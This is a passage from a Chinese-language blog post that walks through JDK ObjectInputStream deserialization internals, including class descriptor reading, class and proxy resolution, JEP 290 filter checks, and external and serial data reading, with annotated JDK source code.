bin.setBlockDataMode(true);
final boolean checksRequired = isCustomSubclass(); // 自定义子类需做额外的包访问检查
try {
// resolveClass:把 readDesc 指向的类名解析为本地 Class(可被子类覆盖)
if ((cl = resolveClass(readDesc)) == null) {
resolveEx = new ClassNotFoundException("null class");
} else if (checksRequired) {
// 安全:自定义子类时校验包访问权限,避免越权加载敏感包
ReflectUtil.checkPackageAccess(cl);
}
} catch (ClassNotFoundException ex) {
resolveEx = ex; // 暂存,稍后绑定到描述符句柄
}

// 在读取更多内容之前,先对解析到的类本身做一次过滤器检查(JDK9+)
// 可按策略拒绝危险类型/过大结构(数组长度等此处无,传 -1)
filterCheck(cl, -1);

// 5) 跳过“类注解块”(classAnnotations)直到 TC_ENDBLOCKDATA:
// - 写端可能写了若干 TC_BLOCKDATA/TC_BLOCKDATALONG;
// - 这里负责全部吞掉,并在结束后切回非块模式
skipCustomData();

// 6) 读取“父类描述符”,并初始化 OSC
try {
totalObjectRefs++; // 统计(供过滤器限额评估)
depth++; // 嵌套深度(控制回调/异常传播范围)
// initNonProxy:将“读取到的主体信息 + 解析到的 Class(或异常) +
// 父类描述符”组合进当前描述符
desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));
} finally {
depth--;
}

// 7) 标记该描述符构建完成,允许后续通过句柄回引;设置 passHandle 并返回
handles.finish(descHandle);
passHandle = descHandle;

return desc;
}

在读取类信息的时候顺带还会尝试从本地加载对应的类。

对于代理类,会根据该代理类实现所有的接口调用 java.lang.reflect.Proxy#getProxyClass 创建对应的类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
/**
* 将代理类描述符里给出的接口名数组解析为“本地 JVM 的代理类 Class”。
*
* <p>可被子类覆盖:子类既可以在读取代理类描述符(接口名列表、注解块等)时
* 额外读取自定义数据,也可以在这里通过自定义的类加载机制加载接口和生成代理类。
* 与输出端的 {@link ObjectOutputStream#annotateProxyClass(Class)} 相对应。
* <b>同一个代理类描述符在一次反序列化过程中只会调用一次本方法。</b>
*
* <p>默认实现逻辑(与 {@link #resolveClass(ObjectStreamClass)} 类似):
* <ol>
* <li>选择类加载器:取调用栈上“最近的一个由用户自定义类加载器定义的类”的那个
* ClassLoader 作为 <code>latestLoader</code>;若没有,使用 <code>null</code>
* (表示引导/系统默认加载路径)。</li>
* <li>对每个接口名 <code>i</code> 执行
* <pre>Class.forName(i, false, latestLoader)</pre>
* 得到接口的 Class 对象;若某接口是<b>非 public</b>,记录其类加载器为
* <code>nonPublicLoader</code>,并要求所有非 public 接口的类加载器必须一致,
* 否则抛出 {@link IllegalAccessError}(JDK 对代理类的封装性约束)。</li>
* <li>调用
* <pre>
* Proxy.getProxyClass(
* hasNonPublicInterface ? nonPublicLoader : latestLoader,
* classObjs)
* </pre>
* 生成代理类;若参数非法导致其抛出 {@link IllegalArgumentException},
* 此处包装为 {@link ClassNotFoundException} 抛出(与反序列化解析失败语义统一)。</li>
* </ol>
*
* @param interfaces 代理类描述符中反序列化得到的“接口全限定名”列表
* @return 由这些接口组成的代理类 Class 对象
* @throws IOException 底层 I/O 异常(默认实现通常不会抛)
* @throws ClassNotFoundException 找不到某个接口/无法生成代理类时抛出
* @since 1.3
*/
protected Class<?> resolveProxyClass(String[] interfaces)
throws IOException, ClassNotFoundException
{
// 1) 选择“最近的用户类加载器”,找不到就用 null(走引导/系统路径)
ClassLoader latestLoader = latestUserDefinedLoader();

// 记录是否存在“非 public 接口”,以及这些接口共同要求的类加载器
ClassLoader nonPublicLoader = null;
boolean hasNonPublicInterface = false;

// 2) 逐个解析接口名为 Class,并校验非 public 接口的类加载器一致性
Class<?>[] classObjs = new Class<?>[interfaces.length];
for (int i = 0; i < interfaces.length; i++) {
// 被动初始化(不执行 <clinit>),用 latestLoader 解析接口
Class<?> cl = Class.forName(interfaces[i], /* initialize = */ false, latestLoader);

// 若接口“非 public”,JDK 规定:生成的代理类必须定义在这些非 public 接口所属的
// 同一个类加载器下;否则将破坏封装/可访问性,直接抛 IllegalAccessError
if ((cl.getModifiers() & Modifier.PUBLIC) == 0) {
if (hasNonPublicInterface) {
if (nonPublicLoader != cl.getClassLoader()) {
throw new IllegalAccessError(
"conflicting non-public interface class loaders");
}
} else {
nonPublicLoader = cl.getClassLoader();
hasNonPublicInterface = true;
}
}
classObjs[i] = cl;
}

// 3) 生成代理类:
// - 若存在非 public 接口:必须使用其类加载器定义代理类;
// - 否则:使用 latestLoader(或 null)定义代理类。
try {
return Proxy.getProxyClass(
hasNonPublicInterface ? nonPublicLoader : latestLoader,
classObjs);
} catch (IllegalArgumentException e) {
// 语义统一:将参数非法(如接口重复、非接口类型等)包装为 CNF 抛给上层
throw new ClassNotFoundException(null, e);
}
}

对于普通类,则先调用 readClassDescriptor 获取类相关信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
/**
* 从序列化流中读取一个“类描述符”(ObjectStreamClass)。
* <p>当 OIS 期待下一个项目是“类描述符”时调用本方法。子类可覆盖以读取由
* 自定义 OOS(覆盖了 writeClassDescriptor)的“非标准格式”描述符;
* 默认按《对象序列化规范》定义的标准格式读取。
*
* @return 读到的类描述符(仅包含“主体信息”,尚未解析为本地 Class)
* @throws IOException I/O 错误
* @throws ClassNotFoundException 若描述符体内引用的类型解析失败
* @see java.io.ObjectOutputStream#writeClassDescriptor(java.io.ObjectStreamClass)
* @since 1.3
*/
protected ObjectStreamClass readClassDescriptor()
throws IOException, ClassNotFoundException {
ObjectStreamClass desc = new ObjectStreamClass();
// 读取“普通(非代理)类”的描述符主体(类名、SUID、flags、字段表等)
// 注意:此时得到的 desc 还不可直接用于实例读写,后续由 initNonProxy(...) 补完。
desc.readNonProxy(this);
return desc;
}

/**
* 从给定的 OIS 中读取“非代理类”的类描述符主体信息。
* <p>读出的结果尚不完整:它只能作为 resolveClass(...) 和
* ObjectStreamClass.initNonProxy(...) 的输入,后者会把“本地 Class、
* 父类描述符”等信息补全到该描述符里。
*
* @param in 输入的 ObjectInputStream
* @throws IOException I/O 或协议错误
* @throws ClassNotFoundException 当字段签名等需要解析的类型找不到时抛出
*/
void readNonProxy(ObjectInputStream in)
throws IOException, ClassNotFoundException {
// 1) 类名(MUTF-8,二进制名,如 java.lang.String)
name = in.readUTF();

// 2) serialVersionUID(8 字节,大端)
suid = Long.valueOf(in.readLong());

// 3) 本描述符是“非代理类”
isProxy = false;

// 4) 读取并解析“类标志位”
byte flags = in.readByte();
// 是否声明了私有 writeObject(...):若是,实例数据会包含“自定义数据块”
hasWriteObjectData = ((flags & ObjectStreamConstants.SC_WRITE_METHOD) != 0);
// Externalizable 在 v2 协议下是否以 Block-Data 包裹(v1 不包裹)
hasBlockExternalData = ((flags & ObjectStreamConstants.SC_BLOCK_DATA) != 0);
// 是否 Externalizable(完全自管读写)
externalizable = ((flags & ObjectStreamConstants.SC_EXTERNALIZABLE) != 0);
// 是否 Serializable(默认/自定义 writeObject 机制)
boolean sflag = ((flags & ObjectStreamConstants.SC_SERIALIZABLE) != 0);

// Externalizable 与 Serializable 互斥
if (externalizable && sflag) {
throw new InvalidClassException(
name, "serializable and externalizable flags conflict");
}
serializable = externalizable || sflag;

// 是否枚举类型
isEnum = ((flags & ObjectStreamConstants.SC_ENUM) != 0);
// 规范要求:枚举的 serialVersionUID 必须为 0
if (isEnum && suid.longValue() != 0L) {
throw new InvalidClassException(
name, "enum descriptor has non-zero serialVersionUID: " + suid);
}

// 5) 字段表
int numFields = in.readShort(); // 字段数量(非负)
// 规范要求:枚举类不应有可持久化字段
if (isEnum && numFields != 0) {
throw new InvalidClassException(
name, "enum descriptor has non-zero field count: " + numFields);
}
fields = (numFields > 0) ? new ObjectStreamField[numFields] : NO_FIELDS;

for (int i = 0; i < numFields; i++) {
// 5.1 字段类型码(原始类型:B C D F I J S Z;对象:L;数组:[)
char tcode = (char) in.readByte();
// 5.2 字段名
String fname = in.readUTF();
// 5.3 字段签名:
// - 若为对象/数组字段(L 或 [),需要读取“类型签名字符串”(使用对象字符串语义,可句柄共享)
// - 若为原始类型,则签名就是单字符类型码本身
String signature = ((tcode == 'L') || (tcode == '['))
? in.readTypeString()
: new String(new char[]{ tcode });

try {
// 第三个参数 false 表示“非常量字段”(与 serialPersistentFields 的常量优化无关)
fields[i] = new ObjectStreamField(fname, signature, false);
} catch (RuntimeException e) {
// 若签名非法或字段描述不合规,包装为 InvalidClassException 抛出
throw (IOException) new InvalidClassException(
name, "invalid descriptor for field " + fname).initCause(e);
}
}

// 6) 计算字段偏移/布局信息(用于默认反序列化时按序读写原始与对象字段)
computeFieldOffsets();
}

之后调用 resolveClass 根据前面读取类信息实例化的 ObjectStreamClass 从本地加载类。注意这里 Class.forNameinitialize 参数为 false 因此不会执行静态代码块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/**
* 将流中的类描述符(ObjectStreamClass)解析为“本地 JVM 中的 Class”。
*
* <p>可被子类覆盖:例如从自定义的类加载来源(网络/插件沙箱等)加载类。
* 与输出端的 {@code ObjectOutputStream.annotateClass(..)} 相对应——
* 该方法对同一个类在一次反序列化过程中只会调用一次。
*
* <p>返回后(若不是数组类),运行时会把返回类的 serialVersionUID 与流内的
* serialVersionUID 做比较;不匹配则抛 {@link InvalidClassException}。
*
* <p>默认实现的策略:
* <pre>
* Class.forName(desc.getName(), false, latestUserDefinedLoader())
* </pre>
* 其中 latestUserDefinedLoader() 会选择“当前调用栈上,最近的一个由
* 用户自定义类加载器定义的类(且不是反射生成的桥接类)”的那个类加载器;
* 若找不到,则使用 {@code null}(意味着由引导/系统加载器按默认路径加载)。
*
* <p>兼容性补充:
* 若上述加载抛出 {@code ClassNotFoundException},并且 {@code desc.getName()}
* 恰好是 Java 的原始类型/void 的关键字(如 "int"、"boolean"、"void"),
* 则返回对应的 {@code Class}(如 {@code Integer.TYPE}、{@code Void.TYPE})。
* 否则把原始 {@code ClassNotFoundException} 继续抛出。
*
* @param desc 流中的类描述符
* @return 与 desc 对应的本地 Class 对象
* @throws IOException 本方法签名允许抛 I/O 异常(默认实现通常不会抛出)
* @throws ClassNotFoundException 无法在本地解析该类时抛出
*/
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException
{
String name = desc.getName();
try {
// 尝试用“最近的用户自定义类加载器”按“被动初始化(不执行 clinit)”加载目标类
return Class.forName(name, /* initialize = */ false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
// 如果是原始类型或 void 的“关键字名称”,走内置映射表 primClasses 返回对应 Class
// 例如:"int" -> Integer.TYPE, "boolean" -> Boolean.TYPE, "void" -> Void.TYPE
Class<?> cl = primClasses.get(name);
if (cl != null) {
return cl;
} else {
// 既不是原始类型名,也加载失败 → 继续把 CNF 抛给调用方
throw ex;
}
}
}

在前面完成类信息的读取以及类加载之后,都会调用 filterCheck 对加载的类进行检查,这个函数实际上就是 JEP290 的过滤函数。

该函数会调用全局默认过滤器 java.io.ObjectInputStream.serialFiltercheckInput 函数进行过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/**
* 调用(若已配置)反序列化过滤器 {@code serialFilter} 进行校验。
* <p>若过滤器返回 REJECTED 或在过滤过程中抛出 RuntimeException,
* 则抛出 {@link InvalidClassException} 终止反序列化。
*
* <p>过滤器用于基于 JEP 290 的“序列化过滤”能力:可按类、数组长度、对象引用数、
* 嵌套深度、已读字节数等维度做允许/拒绝/未决的判定。
*
* @param clazz 正在处理的类型(可能为 null,例如仅做计数检查时)
* @param arrayLength 若当前创建/读取的是数组,则为数组长度;非数组传 {@code -1}
* @throws InvalidClassException 当过滤器拒绝或在过滤过程中抛出运行时异常
*/
private void filterCheck(Class<?> clazz, int arrayLength)
throws InvalidClassException {
if (serialFilter != null) { // 未配置过滤器则直接跳过
RuntimeException ex = null;
ObjectInputFilter.Status status;

// 若被子类覆盖导致无法获取流信息,则 bytesRead 置 0
long bytesRead = (bin == null) ? 0 : bin.getBytesRead();

try {
// 传入一次性快照:类、数组长度、已见对象引用数、当前嵌套深度、已读字节
status = serialFilter.checkInput(
new FilterValues(clazz, arrayLength, totalObjectRefs, depth, bytesRead));
} catch (RuntimeException e) {
// 过滤器自身抛出运行时异常:按“拒绝”处理,同时记录异常作为原因
status = ObjectInputFilter.Status.REJECTED;
ex = e;
}

// 仅当返回 REJECTED 或返回 null(实现不规范)时视为拒绝
if (status == null || status == ObjectInputFilter.Status.REJECTED) {
// 失败路径:info 等级日志(若开启)
if (Logging.infoLogger != null) {
Logging.infoLogger.info(
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
Objects.toString(ex, "n/a"));
}
InvalidClassException ice = new InvalidClassException("filter status: " + status);
ice.initCause(ex); // 将过滤器抛出的运行时异常作为根因链入
throw ice;
} else {
// 成功/未决路径:trace 等级日志(若开启)
if (Logging.traceLogger != null) {
Logging.traceLogger.finer(
"ObjectInputFilter {0}: {1}, array length: {2}, nRefs: {3}, depth: {4}, bytes: {5}, ex: {6}",
status, clazz, arrayLength, totalObjectRefs, depth, bytesRead,
Objects.toString(ex, "n/a"));
}
}
}
}

在结束了反序列化内容检测后,会调用 skipCustomData 把当前“自定义数据区”(custom data)里的一切都吃掉,直到读到 TC_ENDBLOCKDATA 为止——不管里面是纯块数据,还是中间夹了对象/数组/字符串之类的结构化东西。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
/**
* 跳过“自定义数据区”(custom data):持续消费所有 Block-Data 块以及其间
* 可能穿插的对象,直到遇到结构化标记 TC_ENDBLOCKDATA 为止。
*
* 典型使用场景:
* - 类/代理类“注解块”(classAnnotations):在 writeNonProxyDesc /
* writeProxyDesc 中,子类可在 Block-Data 模式下通过 annotateClass /
* annotateProxyClass 写入任意原始字节,甚至调用 writeObject 写入对象;
* 读取端需把这些内容全部吞掉,直至 ENDBLOCKDATA。
* - Serializable 层级中声明了 writeObject(...) 的“自定义数据区”:
* readObject 调用结束后,若该层 hasWriteObjectData 为真,这里要把剩余
* 的块/对象全部跳过,直到 ENDBLOCKDATA。
* - Externalizable 且使用块数据(SC_BLOCK_DATA)时,readExternal 返回后,
* 同样需要跳过残余块直至 ENDBLOCKDATA。
*
* 语义要点:
* - Block-Data 模式下可能夹杂 TC_BLOCKDATA / TC_BLOCKDATALONG 多个块,
* 也可能夹杂对象(writeObject 会临时切至“非块模式”输出 TC_* 标记)。
* - 本方法既会“批量跳过块”,也会在必要时递归读取对象(readObject0(false)),
* 直到真正看到 TC_ENDBLOCKDATA 才返回。
* - 返回前恢复 passHandle(保持外层上下文的当前句柄不被污染)。
*/
private void skipCustomData() throws IOException {
int oldHandle = passHandle; // 保护外层当前句柄

for (;;) {
if (bin.getBlockDataMode()) {
// 若仍在块模式:一次性跳过当前 block 的剩余字节,然后切回非块模式
bin.skipBlockData();
bin.setBlockDataMode(false);
}

// 此时处于“非块模式”,窥视下一个类型码决定后续动作
switch (bin.peekByte()) {
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
// 下一个是新的 block 开头:切回块模式,循环顶端会把它跳过
bin.setBlockDataMode(true);
break;

case TC_ENDBLOCKDATA:
// 注解/自定义数据区的结束标记:消费并收尾返回
bin.readByte();
passHandle = oldHandle; // 恢复外层句柄
return;

default:
// 既不是 block 也不是 ENDBLOCKDATA:那就是穿插的对象/数组/字符串等
// 递归读取并丢弃其值(共享语义 false),直到最终遇到 ENDBLOCKDATA
readObject0(false);
break;
}
}
}

接着,会调用 ObjectStreamClass 中的 initNonProxy 方法,在这个方法里会初始化表示非代理类的类描述符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
/**
* 初始化“非代理类(non-proxy)”的类描述符(ObjectStreamClass)。
*
* 语境说明(反序列化侧):
* - model :来自“流中 classDesc”的模板(按对端写出的结构解析得到),可理解为“流端模型”。
* - cl :本地 JVM 中解析到的实际 Class(若本地类缺失或解析失败,则为 null)。
* - resolveEx :解析 cl 过程中捕获到的 CNFE(若有)。
* - superDesc :已初始化好的“父类”的 ObjectStreamClass(可为 null,表示到达 Object 顶层)。
*
* 目标:
* - 将“流端模型”与“本地类(若存在)”进行一致性校验(代理/枚举/可序列化语义/SUID/类名等)。
* - 将关键元信息(flags/fields/方法钩子/构造器等)绑定到本实例,用于随后对象体的反序列化。
* - 构建字段反射器(FieldReflector)以确定“默认字段”读取时的字节布局与对象字段顺序映射。
*/
void initNonProxy(ObjectStreamClass model,
Class<?> cl,
ClassNotFoundException resolveEx,
ObjectStreamClass superDesc)
throws InvalidClassException
{
// 从流端模型取出 SUID;这里通过 Long.valueOf 再拆箱为 long(等价于 model.getSerialVersionUID())
long suid = Long.valueOf(model.getSerialVersionUID());

ObjectStreamClass osc = null; // 本地类对应的 OSC(若 cl != null 则尝试获取,用于对比与复用)

if (cl != null) {
// lookup(cl, true):构建/查找与本地 Class 绑定的 OSC(“本地描述符”)
osc = lookup(cl, true);

// 1) 绝不允许“非代理描述符”去绑定“代理类”
if (osc.isProxy) {
throw new InvalidClassException(
"cannot bind non-proxy descriptor to a proxy class");
}

// 2) 枚举身份必须一致:流端是 enum,本地也必须是 enum;反之亦然
if (model.isEnum != osc.isEnum) {
throw new InvalidClassException(
model.isEnum
? "cannot bind enum descriptor to a non-enum class"
: "cannot bind non-enum descriptor to an enum class");
}

// 3) SUID 一致性:
// - 仅当“双方都走 Serializable 语义”(非 Externalizable,且非数组)时严格校验 SUID。
// - 若不一致:抛出 InvalidClassException(典型的“本地类不兼容”错误)。
if (model.serializable == osc.serializable &&
!cl.isArray() &&
suid != osc.getSerialVersionUID())
{
throw new InvalidClassException(
osc.name,
"local class incompatible: " +
"stream classdesc serialVersionUID = " + suid +
", local class serialVersionUID = " + osc.getSerialVersionUID());
}

// 4) 类名一致性(使用 classNamesEqual 以容忍内部/外部命名差异的比较逻辑)
if (!classNamesEqual(model.name, osc.name)) {
throw new InvalidClassException(
osc.name,
"local class name incompatible with stream class " +
"name \"" + model.name + "\"");
}

// 5) 可序列化语义一致性(仅在非 enum 情况下才有意义)
if (!model.isEnum) {
// 5.a Serializable vs Externalizable 互斥:两端若都“可序列化”,则对 Externalizable 标志必须一致
if ((model.serializable == osc.serializable) &&
(model.externalizable != osc.externalizable))
{
throw new InvalidClassException(
osc.name,
"Serializable incompatible with Externalizable");
}

// 5.b 若在“是否 Serializable/Externalizable”上不一致,或两者都不是
// (既非 Serializable 也非 Externalizable),则标记本类“不可反序列化”。
if ((model.serializable != osc.serializable) ||
(model.externalizable != osc.externalizable) ||
!(model.serializable || model.externalizable))
{
// 注意:这里不是立刻抛出,而是记录到 deserializeEx;
// 随后在真正读对象数据前会通过 checkDeserialize() 抛出。
deserializeEx = new ExceptionInfo(
osc.name, "class invalid for deserialization");
}
}
}

// —— 绑定“基础元信息”到当前 desc(以流端模型为准;cl/resolveEx/superDesc 直接挂载)——
this.cl = cl; // 本地 Class,可为 null(类缺失)
this.resolveEx = resolveEx; // 解析失败时记录异常以延后报告
this.superDesc = superDesc; // 父类的 OSC
name = model.name; // 按流端模型的类名
this.suid = suid; // 使用流端 SUID(上面已做一致性校验)
isProxy = false; // 本方法处理的是“非代理类”
isEnum = model.isEnum; // 枚举身份按模型同步(前面已确保一致)
serializable = model.serializable; // 是否 Serializable
externalizable = model.externalizable; // 是否 Externalizable
hasBlockExternalData = model.hasBlockExternalData; // v2 协议下的 Externalizable 是否块封装
hasWriteObjectData = model.hasWriteObjectData; // 是否存在自定义 writeObject 数据段(SC_WRITE_METHOD)
fields = model.fields; // 字段描述(先用模型的,稍后由反射器“匹配重写”)
primDataSize = model.primDataSize; // 该层 primitive 字段总字节数(模型计算值)
numObjFields = model.numObjFields; // 该层对象字段数量(模型计算值)

// —— 若本地 OSC 存在,则尽量复用“本地信息”(方法钩子/保护域/构造器等)——
if (osc != null) {
localDesc = osc; // 记录本地描述符

// 序列化/反序列化钩子方法(若存在):writeObject/readObject/readObjectNoData
writeObjectMethod = localDesc.writeObjectMethod;
readObjectMethod = localDesc.readObjectMethod;
readObjectNoDataMethod = localDesc.readObjectNoDataMethod;

// 替换/解析钩子:writeReplace/readResolve
writeReplaceMethod = localDesc.writeReplaceMethod;
readResolveMethod = localDesc.readResolveMethod;

// 若前面未提前记录“不可反序列化”的原因,则沿用本地的错误信息(若有)
if (deserializeEx == null) {
deserializeEx = localDesc.deserializeEx;
}

// 保护域与可用构造器(无参可访问构造器/特权构造器句柄等,本地准备好的)
domains = localDesc.domains;
cons = localDesc.cons;
}

// —— 为“默认字段”读写建立反射器:确定 primitive 段布局、对象字段顺序与映射关系 ——
fieldRefl = getReflector(fields, localDesc);

// 重要:用反射器“匹配/重写”后的字段数组替换原 fields,
// 以反映“本地类上的 unshared 设置 / 类型签名差异 / 实际可见性与顺序”等本地侧特性。
fields = fieldRefl.getFields();

// 标记初始化完成(后续 checkDeserialize()/默认字段读写等才允许使用)
initialized = true;
}

初始化完毕后会调用 handlesfinish 方法完成引用 Handle 的赋值操作:

1
2
3
4
// 7) 完成该描述符的构建,允许后续通过句柄回引
handles.finish(descHandle);
passHandle = descHandle;
return desc;

readExternalData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
/**
* 读取 Externalizable 对象的数据区:
* - 若 {@code obj != null},通过调用其 {@code readExternal(this)} 让对象自行读取;
* - 若 {@code obj == null}(本地无法解析该类),则尽力跳过该对象的外部化数据。
* - 约定:调用本方法前,{@code passHandle} 已指向该对象的句柄。
*
* 协议要点:
* - 若类描述符带有 SC_BLOCK_DATA(即 {@code desc.hasBlockExternalData() == true}),
* 则写端是在“块数据模式”下写的外部化数据(writeExternal),并以 TC_ENDBLOCKDATA 结束;
* 读端需切换到块模式,调用 readExternal 后使用 {@code skipCustomData()} 吃掉
* 剩余块,直到读到 TC_ENDBLOCKDATA,确保与写端对齐。
* - 若不带 SC_BLOCK_DATA(旧协议 v1 样式),外部化数据不是块包裹;如果本地类不存在
* 或 readExternal 抛 CNF(类缺失),可能无法把所有字节正确消费,流可能失去对齐——
* JDK 的做法是“保持历史兼容,先不处理;后续读时如仍有残留会抛 StreamCorruptedException”。
*
* 回调/上下文:
* - Externalizable 路径不允许 defaultReadObject/readFields 等“默认反序列化 API”,
* 因此这里会暂时清空 {@code curContext},防止误用;在进入/退出时对旧上下文做完整性检查。
*/
private void readExternalData(Externalizable obj, ObjectStreamClass desc)
throws IOException
{
// 保存并校验外层回调上下文;Externalizable 路径禁止使用“默认反序列化”相关 API
SerialCallbackContext oldContext = curContext;
if (oldContext != null) {
oldContext.check(); // 确保外层上下文处于合法可切换状态
}
curContext = null; // 清空:禁止在 readExternal 内调用 defaultReadObject/readFields

try {
// 是否使用“块数据模式”读取外部化数据(由类描述符 SC_BLOCK_DATA 标志决定)
boolean blocked = desc.hasBlockExternalData();
if (blocked) {
// 与写端 writeExternalData(...) 对应:进入块模式以读取 TC_BLOCKDATA* 中的内容
bin.setBlockDataMode(true);
}

if (obj != null) {
try {
// 让对象自己读取并恢复状态;内部可调用 readInt/readObject 等
obj.readExternal(this);
} catch (ClassNotFoundException ex) {
/*
* 多数情况下,句柄表在更早阶段已把 CNF 传播到了 passHandle;
* 但若 readExternal 中新构造并抛出了一个 CNF,这里补记到句柄表上,
* 以便上层在合适时机感知并抛出。
*/
handles.markException(passHandle, ex);
}
}

if (blocked) {
// 若采用块模式写入外部化数据:readExternal 可能未完全读尽数据块,
// 此处负责吞掉剩余的 block-data,直到遇到 TC_ENDBLOCKDATA,并切回非块模式。
skipCustomData();
}
} finally {
// 恢复并再次校验外层回调上下文,保证未被非法复用
if (oldContext != null) {
oldContext.check();
}
curContext = oldContext;
}

/*
* 说明(历史兼容):
* 若外部化数据不是以块形式写入(blocked == false),并且:
* - 本地不存在该类(obj == null),或
* - readExternal() 抛出了 ClassNotFoundException,
* 则本次调用可能没有把该对象的全部外部化字节读尽,导致流位置可能与写端不同步。
* 这里遵循旧实现的策略:不额外干预,假定流仍然同步;若实际还有残留外部化数据,
* 后续读取时(读到意外的类型码/字节)很可能抛出 StreamCorruptedException。
*/
}

readSerialData

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
/**
* 读取给定对象在“每一层可序列化类(从父类→子类)”上的实例数据。
* - 若 obj 为 null(本地无法解析该类)或当前句柄已记录 CNF 等异常,则仅“跳过”该层字段数据。
* - 约定:调用前 passHandle 已指向 obj 的句柄。
*
* 数据来源与路径:
* 1) slots[i].hasData == true:
* a) 若该层声明了 private readObject(ObjectInputStream):
* - 进入块数据模式(Block-Data),反射调用 readObject;
* - readObject 内部若调用 defaultReadObject()/readFields(),可能设置 defaultDataEnd;
* 结束后需把 defaultDataEnd 复位为 false;
* - 若该层还声明了 writeObject(即 hasWriteObjectData == true),读取完后还需
* skipCustomData() 吞掉“自定义数据块”(直到 TC_ENDBLOCKDATA);否则直接退出块模式。
* b) 否则走默认字段读取:defaultReadFields(obj, slotDesc)。
* 2) slots[i].hasData == false:
* - 若该层声明了 readObjectNoData() 且当前对象有效且未记录异常,则调用之,用于
* 处理“发送端类层级与接收端不一致”的兼容场景。
*/
private void readSerialData(Object obj, ObjectStreamClass desc) throws IOException {
// 类层级布局(父 → 子)
ObjectStreamClass.ClassDataSlot[] slots = desc.getClassDataLayout();

for (int i = 0; i < slots.length; i++) {
ObjectStreamClass slotDesc = slots[i].desc;

if (slots[i].hasData) { // 该层在流里有数据
// 若对象不可用(本地类缺失 → obj==null)或此前已在该句柄上记录异常,
// 则仅消费/跳过该层字段的字节,不尝试填充对象字段。
if (obj == null || handles.lookupException(passHandle) != null) {
defaultReadFields(null, slotDesc); // 跳过字段值
}
// 自定义 readObject 路径
else if (slotDesc.hasReadObjectMethod()) {
ThreadDeath t = null; // 若 finally 恢复上下文时遇到 ThreadDeath,延后再抛
boolean reset = false; // 直到上下文成功复位为止
SerialCallbackContext oldContext = curContext;
if (oldContext != null)
oldContext.check(); // 外层上下文合法性检查(未被重复使用)

try {
// 为该层建立新的“反序列化回调上下文”,允许 defaultReadObject/readFields 合法调用
curContext = new SerialCallbackContext(obj, slotDesc);

// 按协议:readObject 的自定义数据以 Block-Data 写入,需进入块模式读取
bin.setBlockDataMode(true);

// 反射调用类的私有 readObject(ObjectInputStream)
slotDesc.invokeReadObject(obj, this);

} catch (ClassNotFoundException ex) {
/*
* 大多数情况下,句柄表已把 CNF 传播到 passHandle;
* 若 readObject 内部“新构造并抛出了”一个 CNF,这里补记到句柄上。
*/
handles.markException(passHandle, ex);

} finally {
// 恢复回调上下文(必须保证恢复成功;若中途遇到 ThreadDeath,等 reset 完成后再抛)
do {
try {
curContext.setUsed(); // 标记本层上下文已使用完毕,禁止后续再用
if (oldContext != null)
oldContext.check();
curContext = oldContext;
reset = true;
} catch (ThreadDeath x) {
t = x; // 暂存,直到 reset==true
}
} while (!reset);
if (t != null)
throw t;
}

/*
* 若自定义 readObject 期间调用了 defaultReadObject()/readFields(),
* 可能间接把 defaultDataEnd 置为 true(表示“默认字段块已到末尾,但旧协议无显式 ENDBLOCKDATA”)。
* 这里复位为 false,恢复正常读取行为。
*/
defaultDataEnd = false;
}
// 默认字段读取路径
else {
defaultReadFields(obj, slotDesc);
}

// 读取完该层后,若类定义了 writeObject(意味着写端在该层还写了“自定义数据块”),
// 则需把那段 Block-Data 吞掉至 TC_ENDBLOCKDATA;否则直接退出块模式。
if (slotDesc.hasWriteObjectData()) {
skipCustomData(); // 读尽自定义块并切回非块模式
} else {
bin.setBlockDataMode(false);
}

} else { // slots[i].hasData == false:该层在流中无数据(层级不匹配等)
